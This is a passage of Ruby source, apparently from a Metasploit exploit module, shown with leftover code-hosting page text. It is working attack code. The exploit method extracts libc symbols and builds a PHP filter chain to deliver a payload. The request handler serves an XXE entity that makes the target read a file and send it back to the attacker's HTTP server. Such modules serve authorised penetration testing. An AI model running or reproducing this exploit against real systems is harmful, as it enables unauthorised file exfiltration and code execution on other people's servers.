print_status('Server started')
|
||||
end
|
||||
|
||||
def exploit
|
||||
setup_module unless @module_setup_complete
|
||||
fail_with(Failure::BadConfig, 'Payload is too big') if payload.encoded.length >= 0x140 # step4_use_custom_heap_size
|
||||
print_status('Attempting to parse libc to extract necessary symbols and addresses')
|
||||
get_symbols_and_addresses
|
||||
print_status('Attempting to build an exploit PHP filter path with the information extracted from libc and /proc/self/maps')
|
||||
path = build_exploit_path
|
||||
print_status('Sending payload...')
|
||||
send_path(path)
|
||||
end
|
||||
|
||||
def cleanup
|
||||
# Clean and stop HTTP server
|
||||
if service
|
||||
begin
|
||||
service.remove_resource(datastore['URIPATH'])
|
||||
service.deref
|
||||
service.stop
|
||||
self.service = nil
|
||||
rescue StandardError => e
|
||||
print_error("Failed to stop http server due to #{e}")
|
||||
end
|
||||
end
|
||||
super
|
||||
end
|
||||
|
||||
def on_request_uri(cli, req)
|
||||
super
|
||||
url_parts = req.uri.split('/')
|
||||
case url_parts[1]
|
||||
when @url_file
|
||||
path = Rex::Text.decode_base64(url_parts[2])
|
||||
data = Rex::Text.rand_text_alpha_lower(4..8)
|
||||
response = "
|
||||
<!ENTITY % #{data} SYSTEM \"#{path}\">
|
||||
<!ENTITY % #{@xxe_param} \"<!ENTITY #{@xxe_exfil} SYSTEM 'http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{@url_data}/%#{data};'>\">"
|
||||
send_response(cli, response)
|
||||
when @url_data
|
||||
@file_data = Rex::Text.decode_base64(Rex::Text.decode_base64(req.uri.sub(%r{^/#{@url_data}/}, '')))
|
||||
send_response(cli, '')
|
||||
else
|
||||
print_bad('Server received an unexpected request.')
|
||||
end
|
||||
end
|
||||
end
|
||||
Reference in New Issue
Block a user